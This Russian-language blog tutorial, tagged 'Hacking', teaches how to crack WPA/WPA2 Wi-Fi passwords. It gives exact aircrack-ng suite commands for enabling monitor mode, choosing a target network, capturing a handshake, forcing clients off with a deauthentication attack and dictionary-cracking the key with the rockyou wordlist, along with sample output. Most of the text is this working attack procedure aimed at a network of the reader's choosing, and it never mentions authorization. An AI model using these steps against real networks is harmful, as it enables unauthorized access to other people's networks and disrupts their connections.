Hacking
June 7, 2021

Wi-Fi глазами хакера

Всем салют, дорогие друзья!
В наши дни использование беспроводных сетей Wi-Fi очень распространено. Многие пользователи задумываются о безопасности своих сетей и компьютеров, иногда у них возникают вопросы, как взломать Wi-Fi, насколько реальна эта угроза?

В этой статье-обучении я приглашаю обычных пользователей, возможно, далеких от хакерского движа, взглянуть на свою сеть Wi-Fi глазами хакера и узнать, как взломать Wi-Fi.

Хотя нижеприведенный материал представлен на максимально простом языке, мы не можем обойтись без концепций, характерных для взлома Wi-Fi.

Wi-Fi терминология

Точка доступа (также Access Point), сокращенно AP — это устройство, которое обеспечивает работу сети Wi-Fi, к которой подключаются клиенты. Самыми популярными точками доступа являются роутеры.

Клиент (Станция) — устройство, которое подключается к Точке доступа. Наиболее распространены компьютеры, ноутбуки, мобильные телефоны и т. д.

ESSID и SSID — это названия беспроводных сетей Wi-Fi. Они появляются, когда вы выбираете, к какой сети подключиться. Строго говоря, ESSID и SSID — это не одно и то же, но эти термины часто используются как синонимы при проверке Wi-Fi.

  • На скриншоте ниже ESSID (сетевые имена) — это UserWiFi, Wi-Fi Employee и т.д.:

В данном случае BSSID – это MAC-адрес беспроводного устройства. Набор цифр, который содержит MAC-адрес, выглядит следующим образом 50:46:5D:6E:8C:20.

Рукопожатие (также хэндшейк, handshake) — это обмен данными между станцией и точкой доступа при установлении соединения Wi-Fi. Эти данные содержат информацию, позволяющую угадать пароль от сети Wi-Fi.

Брут-форс (также полный перебор) — это метод парольной атаки, в котором перечислены все возможные варианты пароля. Отнимает много времени и требует больших вычислительных мощностей.

Подбор пароля по словарю — это метод атаки на пароль, который состоит из перебора часто встречающихся вариантов пароля. Значительная часть ресурсов используется для достижения результатов.

Онлайн-перебор пароля WiFi — это метод подбора пароля, который включает подключение к точке доступа с несколькими кандидатами на пароли. Практически не используется из-за крайне низкой скорости поиска. Преимущество этого метода заключается в том, что для монитора не требуется совместимый адаптер WLAN. Обратной стороной является то, что этот метод очень медленный.

WPA и WPA2 – технология защищённого доступа к Wi-Fi, пришла на смену устаревшей технологии WEP.

Беспроводная Wi-Fi карта или беспроводной Wi-Fi адаптер – любая сетевая карта, которая способна подключаться к сети Wi-Fi. На данный момент в ноутбуках и телефонах они встроенные внутрь корпуса, в настольных компьютерам обычно представляют собой внешнее устройство, подключаемое по USB.

В режиме монитора (Monitor Mode) беспроводные адаптеры принимают пакеты данных, предназначенные не только для них, но и для других беспроводных устройств.

Сетевой интерфейс – имя, условное обозначение в Linux сетевых карт/адаптеров.

Канал сети Wi-Fi – условное цифровое обозначение частоты, на которой в данный момент работает Точка Доступа.

Что понадобится для взлома Wi-Fi

  • Компьютер, на который можно установить Linux
  • Специализированное программное обеспечение для Linux, оно является свободным (т.е. распространяется бесплатно и у него открыт исходный код)
  • Беспроводная Wi-Fi карта, которая поддерживает режим монитора. Мы рекомендуем вот такие модели:
⬤ Alfa AWUS1900 (chipset: Realtek RTL8814AU)
⬤ Alfa AWUS036ACH (chipset: Realtek RTL8812AU)
⬤ Alfa AWUS036AC (chipset: Realtek RTL8812AU)
⬤ TRENDnet TEW-809UB (chipset: Realtek RTL8814AU)
⬤ ASUS USB-AC68 (chipset: Realtek RTL8814AU)
⬤ ASUS USB-AC56 (chipset: Realtek RTL8812AU)
⬤ TP-LINK Archer T9UH (chipset: Realtek RTL8814AU)
⬤ TP-LINK Archer T4UH (rev V2, chipset: Realtek RTL8812AU)
⬤ TP-LINK Archer T4U (rev V3, chipset: Realtek RTL8812AU)
⬤ D-Link DWA-192 (chipset: Realtek RTL8814AU)
  • Соответствующие знания и навыки – это вы найдёте в данной статье.

Карты Wi-Fi с поддержкой режима монитора имеются в продаже, и их цена соответствует ценам других беспроводных карт с аналогичными характеристиками. В моем ноуте оказалось, что встроенная карта поддерживает режим монитора — то есть это не редкость и получить ее может любой желающий.

Как уже было сказано, специальное программное обеспечение для мониторинга сетей Wi-Fi распространяется бесплатно. По умолчанию он доступен в специальных дистрибутивах, таких как Kali Linux (скачать можно нажав на название).

Kali Linux 2020.4 в виртуальной машине.

Как видите, все компоненты, необходимые для взлома Wi-Fi, очень удобны. Все действия, которые будут ниже - выполняются в Kali Linux.

Wi-Fi адаптер в режиме монитора

По умолчанию беспроводные адаптеры находятся в «управляемом» (managed) режиме. В этом режиме вы можете подключиться к точке доступа как обычный клиент.

Поскольку нам нужно захватить рукопожатие, которое состоит из данных, которые Станция отправляет в Точку доступа и Точку доступа на Станцию (т.е. которые не предназначены для нас ни на каком этапе), мы должны поместить нашу карту Wi-Fi в режим монитора, чтобы можно было увидеть эти данные и сохранить их для дальнейшей обработки.

Чтобы ввести команды для переключения адаптера Wi-Fi в режим монитора, нам нужно найти название беспроводного интерфейса. Для этого откройте консоль и введите команду:

sudo iw dev

Название беспроводного интерфейса указывается в строке со словом Interface, например в моем случае это wlan0. Запоминаем это значение, так как оно нам понадобится в будущем.

Режим монитора не является чем-то обычным для операционной системы, поэтому некоторые программы, не спрашивая, незаметно переключают адаптер Wi-Fi в управляемый режим. Это может нам мешать, поэтому с помощью следующих двух команд мы закрываем программы, которые могут нам мешать:

sudo systemctl stop NetworkManager
sudo airmon-ng check kill 

Теперь, наконец, мы можем перевести беспроводную карту в режим монитора. Для этого выполните последовательность команд

sudo ip link set <ИНТЕРФЕЙС> down
sudo iw <ИНТЕРФЕЙС> set monitor control 
sudo ip link set <ИНТЕРФЕЙС> up  

заменив <ИНТЕРФЕЙС> на действительное имя вашего беспроводного интерфейса (у меня это wlan0):

sudo ip link set wlan0 down 
sudo iw wlan0 set monitor control 
sudo ip link set wlan0 up 

Кажется, что ничего не произошло, но набрав команду

sudo iw dev  

Мы увидим примерно следующее:

В ней строка type monitor говорит о том, что наша беспроводная карта в режиме монитора.

Рукопожатие (хэндшэйк)

Как уже упоминалось, рукопожатие — это данные, которые поэтапно передаются между Станцией и Точкой доступа, когда Станция подключается к Точке доступа. Это означает, что для захвата рукопожатия мы должны переключиться на канал, на котором работает точка доступа, чтобы прослушать радиосигналы и дождаться момента, когда Станция подключится к нему. Поскольку ожидание может быть отложено, используется метод, называемый атакой деаутентификации, который заключается в принудительном сбросе Wi-Fi-соединения между точкой доступа и станцией. Сразу после этого отключения Станция пытается восстановить соединение, и в этот момент мы обмениваемся рукопожатием.

К сожалению, этот метод не работает, если к Точке Доступа никто не подключён.

Wi-Fi сети

Чтобы атаковать Wi-Fi сеть нам нужно знать некоторые её характеристики. Чтобы получить список всех доступных в диапазоне досягаемости Wi-Fi сетей выполните команду:

sudo airodump-ng wlan0  

Обратите внимание, что если у вас другое имя беспроводного интерфейса, то вместо wlan0 вам нужно вписать это имя.

Описанная атака применима только для сетей с защитой WPA2 или WPA – таких подавляющее большинство.

Будет выведен похожий список сетей:

Когда вы увидите в списке сеть, которую хотите атаковать, то остановите программу, для этого нажмите CTRL+c.

Допустим меня интересует сеть с ESSID (имя) dlink. Как видно на скриншоте, ее характеристики следующие: BSSID — 00: 1E: 58: C6: AC: FB, использует WPA2, работает на шестом канале. Кроме того, ненулевое значение #Data (захваченные данные, отправленные этой AP) предполагает, что к ней подключены одна или несколько станций.

Для захвата рукопожатия используется команда следующего вида:

sudo airodump-ng -c КАНАЛ --bssid MAC_АДРЕС -w ФАЙЛ ИНТЕРФЕЙС  

Где:

  • КАНАЛ – это канал, на котором работает ТД
  • MAC_АДРЕС – это BSSID атакуемой ТД
  • ФАЙЛ – имя файла, куда будет записано рукопожатие
  • ИНТЕРФЕЙС – имя беспроводного интерфейса в режиме монитора

Для моих данных команда выглядит так:

sudo airodump-ng -c 6 --bssid 00:1E:58:C6:AC:FB -w capture wlan0  

На следующем скриншоте вновь видна интересующая нас ТД, а также теперь виден раздел со станциями:

В полном списке ТД раздел со станциями также присутствовал, но уходил за нижний край экрана, поэтому на скриншот не попал.

Для станции в поле BSSID мы видим значение, которое соответствует BSSID точки доступа, то есть 00: 1E: 58: C6: AC: FB, это означает, что в данный момент эта станция подключена к интересующей нас AP. Теперь есть два варианта:

1) ждать пока Станция отсоединится и вновь подключится к ТД по естественным причинам

2) выполнить атаку деаутентификация для ускорения процесса

Атака деаутентификация

Для выполнения деаутентификации, не прекращая записи трафика, запущенного на предыдущем этапе, откройте новое окно консоли и введите туда команду вида:

sudo aireplay-ng -0 3 -a MAC_АДРЕС ИНТЕРФЕЙС 

Где:

  • MAC_АДРЕС – это BSSID атакуемой ТД
  • ИНТЕРФЕЙС – имя беспроводного интерфейса в режиме монитора

В моём случае команда выглядит так:

sudo aireplay-ng -0 3 -a 00:1E:58:C6:AC:FB wlan0 

Программа выведет примерно следующее:

08:17:30  Waiting for beacon frame (BSSID: 00:1E:58:C6:AC:FB) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
08:17:30  Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB]
08:17:30  Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB]
08:17:31  Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB] 

А в правом верхнем углу экрана для захвата данных появится новая запись:

WPA handshake: 00:1E:58:C6:AC:FB 

Она означает, что рукопожатие успешно захвачено.

Атака по словарю

Теперь нам нужно запустить перебор данных.

Подготовим словарь:

cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz
cat rockyou.txt | sort | uniq | pw-inspector -m 8 -M 63 > newrockyou.txt  

Файл словаря в этом случае называется newrockyou.txt.

Чтобы узнать имя захваченного рукопожатия выполните команду:

ls -l capture*  

При этом будет выведено что-то вроде следующего (записей может быть больше, если вы неоднократно захватывали рукопожатия):

-rw-r--r-- 1 root root 73164 сен 30 08:24 capture-01.cap
-rw-r--r-- 1 root root   478 сен 30 08:24 capture-01.csv
-rw-r--r-- 1 root root   583 сен 30 08:24 capture-01.kismet.csv
-rw-r--r-- 1 root root  2766 сен 30 08:24 capture-01.kismet.netxml

Нас интересует только файл capture-01.cap – именно он содержит рукопожатие.

Для перебора по словарю используется следующая команда:

aircrack-ng -w ФАЙЛ_СЛОВАРЯ ФАЙЛ_ЗАХВАТА

Итак, в моём случае точная команда следующая:

aircrack-ng -w newrockyou.txt capture-01.cap

Эта команда запускает подбор пароля, в процессе перебора показывается следующее окно:

Пароль подобран:

Об этом свидетельствует запись KEY FOUND! [ pattayateam ], где пароль для сети Wi-Fi — pattayateam. Используя этот пароль, вы можете свободно подключиться к точке беспроводного доступа с любого устройства.

Тогда жми сюда и узнай все подробности!


Вступай в наш закрытый клуб!